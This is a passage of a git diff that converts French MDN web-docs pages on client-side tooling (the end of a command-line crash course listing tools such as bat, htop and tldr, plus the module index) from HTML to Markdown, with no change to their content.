deuxième solution — quand on code par exemple sur VS Code, Prettier entre en jeu et nettoie le formatage lors de chaque enregistrement. Vous trouverez dans les [Prettier docs](https://prettier.io/docs/en/) beaucoup plus d'informations sur les différentes façons d'utiliser Prettier. -<h2 id="Autres_outils_à_essayer">Autres outils à essayer</h2> +## Autres outils à essayer -<p>Voici une courte liste de quelques outils supplémentaires que vous pouvez vous amuser à tester :</p> +Voici une courte liste de quelques outils supplémentaires que vous pouvez vous amuser à tester : -<ul> - <li><code><a href="https://github.com/sharkdp/bat">bat</a></code> — Un <code>cat</code> plus "beau" (<code>cat</code> affiche le contenu d'un fichier)<em> (NdT : probable jeu de mot en anglais, où cat = chat et bat = chauve-souris)</em>.</li> - <li><code><a href="http://denilson.sa.nom.br/prettyping/">prettyping</a></code> — implémentation visuellement améliorée de la commande <code>ping</code> (<code>ping</code> permet de tester si un serveur répond).</li> - <li><code><a href="http://hisham.hm/htop/">htop</a></code> — Pour visualiser les processus en cours, ce qui est intéressant lorsque votre ventilateur de CPU se met à faire un bruit de moteur d'avion et que vous souhaitez identifier le programme responsable.</li> - <li><code><a href="https://tldr.sh/#installation">tldr</a></code> — client tldr (mentionné plus haut dans ce chapitre) en ligne de commande.</li> -</ul> +- [`bat`](https://github.com/sharkdp/bat) — Un `cat` plus "beau" (`cat` affiche le contenu d'un fichier) _(NdT : probable jeu de mot en anglais, où cat = chat et bat = chauve-souris)_. +- [`prettyping`](http://denilson.sa.nom.br/prettyping/) — implémentation visuellement améliorée de la commande `ping` (`ping` permet de tester si un serveur répond). +- [`htop`](http://hisham.hm/htop/) — Pour visualiser les processus en cours, ce qui est intéressant lorsque votre ventilateur de CPU se met à faire un bruit de moteur d'avion et que vous souhaitez identifier le programme responsable. +- [`tldr`](https://tldr.sh/#installation) — client tldr (mentionné plus haut dans ce chapitre) en ligne de commande. -<p>L'auteur a aussi <a href="https://remysharp.com/2018/08/23/cli-improved">décrit certains de ses favoris</a> accompagnés de copies d'écrans si vous avez envie de creuser davantage le sujet.</p> +L'auteur a aussi [décrit certains de ses favoris](https://remysharp.com/2018/08/23/cli-improved) accompagnés de copies d'écrans si vous avez envie de creuser davantage le sujet. -<p>Notez que certains de ces outils nécessitent l'installation préalable de npm, ainsi que nous l'avons fait pour Prettier.</p> +Notez que certains de ces outils nécessitent l'installation préalable de npm, ainsi que nous l'avons fait pour Prettier. -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Nous voilà parvenus au terme de cette brève revue du terminal ou ligne de commande. Dans la suite, nous allons nous pencher plus en détail sur les package managers, et sur les possibilités qu'ils nous offrent.</p> +Nous voilà parvenus au terme de cette brève revue du terminal ou ligne de commande. Dans la suite, nous allons nous pencher plus en détail sur les package managers, et sur les possibilités qu'ils nous offrent. -<p>{{PreviousMenuNext("Learn/Tools_and_testing/Understanding_client-side_tools/Overview","Learn/Tools_and_testing/Understanding_client-side_tools/Package_management", "Learn/Tools_and_testing/Understanding_client-side_tools")}}</p> +{{PreviousMenuNext("Learn/Tools_and_testing/Understanding_client-side_tools/Overview","Learn/Tools_and_testing/Understanding_client-side_tools/Package_management", "Learn/Tools_and_testing/Understanding_client-side_tools")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Overview">Client-side tooling overview</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Ligne_de_commande">Cours express sur la ligne de commande</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Package_management">Package management basics</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Introducing_complete_toolchain">Introducing a complete toolchain</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Deployment">Deploying our app</a></li> -</ul> +- [Client-side tooling overview](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Overview) +- [Cours express sur la ligne de commande](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Ligne_de_commande) +- [Package management basics](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Package_management) +- [Introducing a complete toolchain](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Introducing_complete_toolchain) +- [Deploying our app](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Deployment) diff --git a/files/fr/learn/tools_and_testing/understanding_client-side_tools/index.md b/files/fr/learn/tools_and_testing/understanding_client-side_tools/index.md index e19a510d2f..ae7f690ae6 100644 --- a/files/fr/learn/tools_and_testing/understanding_client-side_tools/index.md +++ b/files/fr/learn/tools_and_testing/understanding_client-side_tools/index.md @@ -15,25 +15,23 @@ tags: - linting translation_of: Learn/Tools_and_testing/Understanding_client-side_tools --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>Les outils côté client peuvent être intimidants, mais cette série d'articles vise à illustrer le but de certains des types d'outils côté client les plus courants, à expliquer les outils que vous pouvez enchaîner, comment les installer à l'aide de gestionnaires de packages et les contrôler à l'aide de la ligne de commande. Nous terminons en fournissant un exemple complet de chaîne d'outils vous montrant comment devenir productif.</p> +Les outils côté client peuvent être intimidants, mais cette série d'articles vise à illustrer le but de certains des types d'outils côté client les plus courants, à expliquer les outils que vous pouvez enchaîner, comment les installer à l'aide de gestionnaires de packages et les contrôler à l'aide de la ligne de commande. Nous terminons en fournissant un exemple complet de chaîne d'outils vous montrant comment devenir productif. -<h2 id="Conditions_prérequises">Conditions prérequises</h2> +## Conditions prérequises -<p>Vous devez vraiment apprendre les bases des langages <a href="/fr/docs/Learn/HTML">HTML</a>, <a href="/fr/docs/Learn/CSS">CSS</a>, et <a href="/fr/docs/Learn/JavaScript">JavaScript</a> avant d'essayer d'utiliser les outils détaillés ici.</p> +Vous devez vraiment apprendre les bases des langages [HTML](/fr/docs/Learn/HTML), [CSS](/fr/docs/Learn/CSS), et [JavaScript](/fr/docs/Learn/JavaScript) avant d'essayer d'utiliser les outils détaillés ici. -<h2 id="Guides">Guides</h2> +## Guides -<dl> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Overview">Vue d'ensemble de l'outillage côté client</a></dt> - <dd>Dans cet article, nous vous proposons un aperçu des outils Web modernes, des types d'outils disponibles et de l'endroit où vous les rencontrerez dans le cycle de vie du développement d'applications Web, et comment trouver de l'aide sur des outils individuels.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">Cours intensif en ligne de commande</a></dt> - <dd>Dans votre processus de développement, vous devrez sans aucun doute exécuter une commande dans le terminal (ou sur la "ligne de commande" - ce sont en fait la même chose). Cet article fournit une introduction au terminal, les commandes essentielles que vous devrez y saisir, comment enchaîner des commandes et comment ajouter vos propres outils d'interface de ligne de commande (CLI).</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Package_management">Principes de base de la gestion des paquets</a></dt> - <dd>Dans cet article, nous examinerons en détail les gestionnaires de paquets pour comprendre comment nous pouvons les utiliser dans nos propres projets - pour installer les dépendances des outils de projet, les maintenir à jour, etc.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Introducing_complete_toolchain">Introduction d'une chaîne d'outils complète</a></dt> - <dd>Dans les deux derniers articles de la série, nous solidifierons vos connaissances en matière d'outillage en vous guidant tout au long du processus de création d'un exemple de chaîne d'outils d'étude de cas. Nous irons de la mise en place d'un environnement de développement sensible et de la mise en place d'outils de transformation au déploiement effectif de votre application sur Netlify. Dans cet article, nous allons présenter l'étude de cas, configurer notre environnement de développement et configurer nos outils de transformation de code.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Deployment">Déployer notre application</a></dt> - <dd>Dans le dernier article de notre série, nous prenons l'exemple de chaîne d'outils que nous avons construit dans l'article précédent et nous l'ajoutons afin de pouvoir déployer notre exemple d'application. Nous poussons le code sur GitHub, le déployons à l'aide de Netlify et vous montrons même comment ajouter un test simple au processus.</dd> -</dl> +- [Vue d'ensemble de l'outillage côté client](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Overview) + - : Dans cet article, nous vous proposons un aperçu des outils Web modernes, des types d'outils disponibles et de l'endroit où vous les rencontrerez dans le cycle de vie du développement d'applications Web, et comment trouver de l'aide sur des outils individuels. +- [Cours intensif en ligne de commande](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line) + - : Dans votre processus de développement, vous devrez sans aucun doute exécuter une commande dans le terminal (ou sur la "ligne de commande" - ce sont en fait la même chose). Cet article fournit une introduction au terminal, les commandes essentielles que vous devrez y saisir, comment enchaîner des commandes et comment ajouter vos propres outils d'interface de ligne de commande (CLI). +- [Principes de base de la gestion des paquets](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Package_management) + - : Dans cet article, nous examinerons en détail les gestionnaires de paquets pour comprendre comment nous pouvons les utiliser dans nos propres projets - pour installer les dépendances des outils de projet, les maintenir à jour, etc. +- [Introduction d'une chaîne d'outils complète](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Introducing_complete_toolchain) + - : Dans les deux derniers articles de la série, nous solidifierons vos connaissances en matière d'outillage en vous guidant tout au long du processus de création d'un exemple de chaîne d'outils d'étude de cas. Nous irons de la mise en place d'un environnement de développement sensible et de la mise en place d'outils de transformation au déploiement effectif de votre application sur Netlify. Dans cet article, nous allons présenter l'étude de cas, configurer notre environnement de développement et configurer nos outils de transformation de code. +- [Déployer notre application](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Deployment) + - : Dans le dernier article de notre série, nous prenons l'exemple de chaîne d'outils que nous avons construit dans l'article précédent et nous l'ajoutons afin de pouvoir déployer notre exemple d'application. Nous poussons le code sur GitHub, le déployons à l'aide de Netlify et vous montrons même comment ajouter un test simple au processus. |